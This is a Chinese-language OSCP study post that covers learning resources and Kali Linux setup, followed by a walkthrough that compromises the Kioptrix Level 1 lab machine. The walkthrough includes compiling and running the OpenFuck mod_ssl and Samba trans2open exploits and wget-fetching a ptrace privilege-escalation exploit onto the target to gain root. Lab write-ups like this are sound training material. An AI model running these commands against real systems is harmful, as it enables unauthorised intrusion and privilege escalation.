Day2 在线学习资源和Kali安装使用
学前补充-在线学习资源
国内中文资料
国内虽然网络安全学习资源逐渐丰富,但在涉及 OSCP 等国际认证时,中文资料相对较少,更多的仍需依赖官方英文资料。然而,我们可以通过一些中文平台获取相关的学习内容,并帮助更好地理解渗透测试和网络安全的基本概念。
-
泷羽Sec公众号:关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。
-
CSDN 泷羽Sec-静安栏目:同样可以通过 CSDN 泷羽Sec-静安 账号找到关于 OSCP 考试、渗透测试工具等内容的详细教程,适合进行技术深度学习。
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号

拓展国外资料
虽然国内资料主要依赖翻译或二次加工,但国外的资料更为丰富,尤其是针对渗透测试和 OSCP 考试的内容。建议你结合以下资源,深入学习并拓宽视野。无需完全掌握所有内容,但这些资料可以帮助你更好地理解考试大纲之外的技术点。
-
YouTube 渗透测试教程:
-
Offensive Security 官方资源:
-
OffSec Discord 群组:加入 OffSec 的 Discord 群,这是一个全球渗透测试爱好者和专业人员的聚集地,群内每周五会有免费直播,大家可以实时互动并提问。通过参与群组,你不仅能获得最新的培训信息,还有机会向其他 OSCP 备考者和认证过的专家请教问题。
-
OffSec 官方 YouTube 频道:OffSec 官方 YouTube 频道,官方会不定期更新关于渗透测试技巧、OSCP 备考心得等内容。特别适合在考试前复习并加深理解。
-
OffSec 官方 Twitch 频道:OffSec 官方 Twitch 频道:在这里你可以找到各种实时和过往的直播视频,包括渗透测试实战演示和技术讲解。定期观看这些直播,能够帮助你更好地理解渗透测试的实际操作,并获取最新的行业动态和实践技巧。
-
翻译软件使用
对于非英语母语的学习者,翻译软件可以极大地帮助理解英文资料,特别是一些技术性的讲解。以下是推荐的两款翻译工具,帮助提升学习效率:
-
- 适用于翻译在线网页文档,特别是技术博客、教程页面等。这个工具支持将 YouTube 上的视频字幕实时翻译,便于理解外语讲解的内容,尤其是对于英语不太熟练的学习者来说,是一个非常有用的工具。
-
讯飞同传:
- 这个工具非常适合观看一些沉浸式翻译不支持的视频,以及在后期与考试官的实时互动中使用。它可以帮助你实时将英语对话翻译成中文,并支持与考官之间的流畅交流。这对于 OSCP 考试时的实时沟通(例如,考试过程中需要与考官确认某些细节时)尤为重要。
通过这些工具,你可以在学习过程中克服语言障碍,更轻松地掌握 OSCP 考试的内容,尤其是在遇到复杂的技术概念或英文资料时,翻译软件将成为你学习的得力助手。
学习 OSCP 不仅需要掌握官方教材大纲的内容,更需要拓展视野,借助国内外的学习资源和翻译工具,提高自己的渗透测试能力。建议大家从 泷羽Sec-静安 公众号获取最新的学习资讯,结合国内外的视频教程和在线社区的互动,逐步完成 OSCP 认证的备考旅程。
Kali下载、VMware安装和镜像启动
Kali Linux由Offensive Security开发、资助和维护,是一个基于Debian的Linux发行版,专为高级渗透测试和安全审计设计。它集成了数百种信息安全工具,支持渗透测试、安全研究、计算机取证、逆向工程等多种任务。
Kali 下载
kali 官网下载地址:https://www.kali.org/get-kali/#kali-platforms


Get-FileHash .\kali-linux-2024.4-vmware-amd64.7z -Algorithm SHA256验证下载文件

VMware下载
VMware是一家领先的虚拟化和云计算技术公司,专注于提供企业级解决方案。其核心产品包括虚拟化平台、云管理和自动化工具,旨在帮助企业优化IT基础设施,提升运维效率。VMware的技术广泛应用于数据中心、桌面虚拟化、网络安全和应用开发等领域,推动了云计算、容器化和企业数字化转型的进程。
VMware 官网下载:https://www.vmware.com/products/desktop-hypervisor/workstation-and-fusion
下载安装后,激活网上找教程激活即可。2024年5月后Workstation 和 Fusion 对个人使用完全免费,企业许可转向订阅,个人用户也可以使用免费版。关注公众号泷羽Sec-静安,后台回复找工具+Day2获取镜像和相关软件。
镜像启动


在Vmware中点击打开虚拟机,选择下载好的kali镜像(解压一下),选择文件夹下的.vmx文件即可。点击启动即可。
默认用户名:kali
默认密码:kali可以通过passwd命令修改账户密码,但是学习阶段不建议,就一个虚拟机,省得后面复杂操作的时候记不得。

常用网站链接
- kali全套官方工具包详解 https://www.kali.org/tools/all-tools/
- kali 官方文档手册 https://www.kali.org/docs/
- kali官方论坛 https://forums.kali.org/官方建议,发帖之前先阅读论坛规则和向导,不合规的帖子可能被忽略
- kali bug自助页面 https://bugs.kali.org
- 官方kali解密书籍:《Kali Linux Revealed: mastering the penetration testing distribution》关注公众号
泷羽Sec-静安后台回复找书+KLR获取下载链接
kali换源和新装机设置
sudo -s
vim /etc/apt/sources.list
# 清华大学Kali镜像源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware复制上面的内容,按I键进入插入模式,插入到list文件中,注释原来的kali官方源,按ESC退出编辑模式,然后按:wq保存并退出。更多详细vim命令请参考菜鸟 Linux vi/vim,vimtutor和vim官方,或在终端输入vimtutor查看官方指南。


然后在终端中更新镜像源并升级软件包。注意看源是否已经换成清华源。若你的网络对于清华源还是慢,可以参考Kali 2024更换源(超详细,附国内优质镜像源地址)_kali换源选择其他源。更新升级会占用大量时间,但这是必须的。
apt update
apt upgrade
安装或更新完成后,会遗留一些软件的安装包,会占用部分硬盘空间,可使用下面的命令来对其进行清理
apt-get clean设置锁屏时间为从不
不然经常切换应用后要输入kali:kali登录。左键点击电池图标,选择设置,找到安全性,设置锁屏时间为从不(never)


配置ssh服务
输入命令:vim /etc/ssh/sshd_config
将下面的命令改为yes
PasswordAuthentication yes 密码验证改为yes输入命令:service ssh start 开启ssh服务
输入命令:update-rc.d ssh enable 设置为开机自启动
不要忘记 reboot (重启kali虚拟机)
这样你就可以在虚拟机以外利用shell软件进行远程的访问。方便复制粘贴一些命令,有时候在kali中复制粘贴会有问题,然后就是截屏不方便。
我个人是喜欢使用MobaXterm来作为我的shell而不是默认终端。关注公众号泷羽Sec-静安,后台回复找工具+Day2获取镜像和相关软件。先在原本的kali中输入ifconfig查看kali的网段,然后从mobaXterm中连接ssh登录kali即可。


汉化
我的建议是没有必要汉化,因为目前很多OSCP的资料还是英文的比较权威,汉化后不一定能一步一步找着英文教材对应的软件名字,还有一些细节的按钮。但是如果你实在觉得看着英文难受,觉得中文界面学习更方便的话,可以使用dpkg-reconfigure locales命令选择按照汉化,然后重启,重启后会有提示框询问是否修改文件夹语言,记得一定要选择否,保留旧的英文名称,因为有一些安全工具,不支持中文路径,与其后期麻烦的改来改去纠结路径问题,不如全部保留英文路径。也建议在之后的学习中,保持起英文文件夹名字的习惯,用英文也好用拼音也好,总之要是英文字母的文件名。

至此,一个基本的好用的Kali已经设置完毕,可以开始靶机练习了。
Kioptix Level 1 练习


Nmap扫描
输入ifconfig查看kali本机的网段。

输入 nmap -sn kali的ip/24探查网段,实战过程是通过vpn链接,进去后能查看网段。或 nmap -p- kali的ip/24探查所有网段。


可以发现129有一个80端口,在kali浏览器中访问可以看到如下界面:

接下来探查端口指纹
nmap 192.168.139.129 -p 22,80,111,139,443,1024 -sV -sC -O --version-al

然后用漏洞扫描
nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln得到输出
┌──(kali㉿kali)-[~]
└─$ nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 22:14 EST
Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for 192.168.139.129
Host is up (0.00025s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-trace: TRACE is enabled
| http-enum:
| /test.php: Test page
| /icons/: Potentially interesting directory w/ listing on 'apache/1.3.20'
| /manual/: Potentially interesting directory w/ listing on 'apache/1.3.20'
|_ /usage/: Potentially interesting folder
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
| ssl-poodle:
| VULNERABLE:
| SSL POODLE information leak
| State: VULNERABLE
| IDs: CVE:CVE-2014-3566 BID:70574
| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
| products, uses nondeterministic CBC padding, which makes it easier
| for man-in-the-middle attackers to obtain cleartext data via a
| padding-oracle attack, aka the "POODLE" issue.
| Disclosure date: 2014-10-14
| Check results:
| TLS_RSA_WITH_3DES_EDE_CBC_SHA
| References:
| https://www.imperialviolet.org/2014/10/14/poodle.html
| https://www.openssl.org/~bodo/ssl-poodle.pdf
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|_ https://www.securityfocus.com/bid/70574
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| ssl-dh-params:
| VULNERABLE:
| Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
| State: VULNERABLE
| IDs: CVE:CVE-2015-4000 BID:74733
| The Transport Layer Security (TLS) protocol contains a flaw that is
| triggered when handling Diffie-Hellman key exchanges defined with
| the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
| to downgrade the security of a TLS session to 512-bit export-grade
| cryptography, which is significantly weaker, allowing the attacker
| to more easily break the encryption and monitor or tamper with
| the encrypted stream.
| Disclosure date: 2015-5-19
| Check results:
| EXPORT-GRADE DH GROUP 1
| Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
| Modulus Type: Safe prime
| Modulus Source: mod_ssl 2.0.x/512-bit MODP group with safe prime modulus
| Modulus Length: 512
| Generator Length: 8
| Public Key Length: 512
| References:
| https://www.securityfocus.com/bid/74733
| https://weakdh.org
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
|
| Diffie-Hellman Key Exchange Insufficient Group Strength
| State: VULNERABLE
| Transport Layer Security (TLS) services that use Diffie-Hellman groups
| of insufficient strength, especially those using one of a few commonly
| shared groups, may be susceptible to passive eavesdropping attacks.
| Check results:
| WEAK DH GROUP 1
| Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA
| Modulus Type: Safe prime
| Modulus Source: mod_ssl 2.0.x/1024-bit MODP group with safe prime modulus
| Modulus Length: 1024
| Generator Length: 8
| Public Key Length: 1024
| References:
|_ https://weakdh.org
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| ssl-ccs-injection:
| VULNERABLE:
| SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
| Risk factor: High
| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
| does not properly restrict processing of ChangeCipherSpec messages,
| which allows man-in-the-middle attackers to trigger use of a zero
| length master key in certain OpenSSL-to-OpenSSL communications, and
| consequently hijack sessions or obtain sensitive information, via
| a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
| References:
| http://www.cvedetails.com/cve/2014-0224
| http://www.openssl.org/news/secadv_20140605.txt
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_sslv2-drown: ERROR: Script execution failed (use -d to debug)
1024/tcp open kdm
MAC Address: 00:0C:29:3B:F8:BB (VMware)
Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
Nmap done: 1 IP address (1 host up) scanned in 333.53 seconds
目录扫描
从Nmap扫描的结果来看,它提示以下几个文件目录,可能有洞。

使用如下命令扫描目录
dirb http://192.168.139.129/
看一圈泄露的目录后发现mod_ssl目录下似乎提示此漏洞可利用(靶机会这样提示,实战要自己猜自己挖)。且从之前的Nmap扫描结果中看出,SSL存在漏洞。

SSL漏洞利用 80/443端口
Kali终端中输入以下命令,查找可用的攻击方式。
searchsploit mod_ssl

根据之前Nmap扫描的版本信息选择对应的攻击方式。可用的几个方式都试一遍。下载攻击方式,如果下载文件有损坏,可以到 https://www.exploit-db.com/ 网站下载对应源码。
searchsploit -m 47080.c
sudo apt-get install libssl-dev # 安装依赖环境
gcc -o ssl47080 47080.c -lcrypto # 编译源码


./ssl47080 |grep "1.3.20"筛选符合 Apache 1.3.20版本的工具

靶机系统是RedHat,所以使用0x6a或0x6b。

0x6a测试失败,改用0x6b,输入以下命令:
./ssl47080 0x6b 192.168.139.129 -c 40
提权为root
目前是使用apache账户登录shell,这个账户是用于apache服务的专用账户, 可以使用ls /bin查看目前账户可以使用的命令,可以发现只能使用一些基本命令,权限较低,我们想要完整的shell就要root账户,就要提权。

现在本地攻击机下面下载提权脚本。
wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
然后开启一个简单的http服务,提供给靶机用于下载提权脚本。
sudo python -m http.server 80
这个靶机好在可以使用wget命令下载提权脚本。如果wget用不了的情况,可以尝试用curl或ftp下载脚本。然后从之前47080进去的Apache账户的shell里运行以下命令:
wget http://192.168.139.128/ptrace-kmod.c
退出,然后再次重连,自动编译,就会获得root权限。如果重连后不是root,可以多试几次,或者更换47080.c文件。

另一种提权的方式:

(CVE-2003-0651)Apache RCE
https://www.cnblogs.com/wsec/p/vulnhub0x01.html#3cve-2003-0651apache-rce

这个67.c文件最好从网站下载,kali里下载的不全。尾号305的才是正确的文件。

- 但是编译不出来。
Samba 漏洞利用139端口
https://medium.com/@MarkdeMoras/kioptrix-level-1-1-vulnhub-walkthrough-by-mark-de-moras-147002cc4853
除了ssl漏洞,可以从之前的Nmap扫描结果发现也存在Samba漏洞。

使用Nmap再次扫描靶机的网址。
nmap -A -p- -T4 192.168.139.129
使用msf工具箱
msfconsole
search scanner/smb
use 16
info
set RHOST 192.168.139.129


这样就获取了samba的版本,退出msf,然后搜索samba的攻击方式,选择对应版本。下载,编译。
searchsploit samba 2.2.1a
searchsploit -m multiple/remote/10.c
gcc -o Samba 10.c

查看使用方式

使用如下命令爆破进入,直接获得root权限。
./Samba -b 0 192.168.139.129
Samba缓存漏洞利用139端口

搜索通用版本的samba攻击方式,发现,还有例如“call_trans2open”远程缓冲区溢出(2)漏洞利用的方式。下载编译后查看使用方式。


rpcbind 尝试
漏洞扫描的结果中还有111端口和1024端口的rpcbind服务,搜索了有如下方法,但是尝试失败。

上面这篇文章也做过了尝试是失败的,所以rpc的漏洞就不尝试了。
总结
找漏洞渗透的步骤:
-
Nmap 扫可能的漏洞和端口
nmap -sn kali的ip/24 nmap 192.168.139.129 -p 22,80,111,139,443,1024 -sV -sC -O --version-al nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln -
dirb扫目录
-
观察可能的端口和应用
-
searchsploit 和msf搜索可用的攻击载荷
searchsploit xxx searchsploit -m 67.c --- msfconsole search xxx use 编号 info set Rhost 192.168.139.129 run -
根据版本选择poc,编译,调试,打!
关注公众号泷羽Sec-静安,后台回复找工具+Day2获取镜像和相关软件及POC。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚